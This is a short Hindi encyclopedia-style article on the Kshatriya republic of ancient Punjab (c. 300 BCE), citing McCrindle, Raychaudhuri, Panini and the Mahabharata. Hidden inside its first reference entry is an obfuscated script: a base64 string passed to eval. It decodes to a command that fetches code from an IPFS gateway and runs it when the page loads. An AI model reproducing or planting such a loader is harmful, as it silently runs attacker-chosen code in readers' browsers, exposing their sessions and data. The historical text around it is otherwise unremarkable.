क्षत्रिय गणराज्य  

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क्षत्रिय गणराज्य 300 ई. पू. के लगभग पंजाब (वाहीक) का एक गणराज्य था। इस गणराज्य का उल्लेख अलक्षेंद्र (सिकन्दर) के इतिहास लेखकों ने भी किया है।[१]

  • इस राज्य का नाम क्षत्रिय नामक जाति के यहाँ बसने के कारण हुआ था।
  • मेक्क्रिंडल के अनुसार इस जाति का नाम 'क्षत्र' था। इसे 'मनुस्मृति' में हीन जाति माना गया है।[२]
  • इतिहासकार हेमचन्द्र राय चौधरी के मत में इस जाति का मूल स्थान चिनाव-रावी के संगम के पास रहा होगा।[३]
  • यूनानी लेखकों ने इस जाति के नाम का उच्चारण 'जथरोई' लिखा है।
  • पाणिनि ने भी क्षत्रिय गणराज्य का उल्लेख किया है।
  • महाभारत, भीष्मपर्व[४] में उल्लिखित 'वशाति' शायद इसी गण से संबद्ध थे।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 249 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. इन्वेजन ऑव अलेक्ज़ेंडर, पृ. 156
  3. पोलिटिकल हिस्ट्री ऑव ऐंशेंट इंडिया-पृ. 207
  4. भीष्मपर्व 51, 14 और 106, 8

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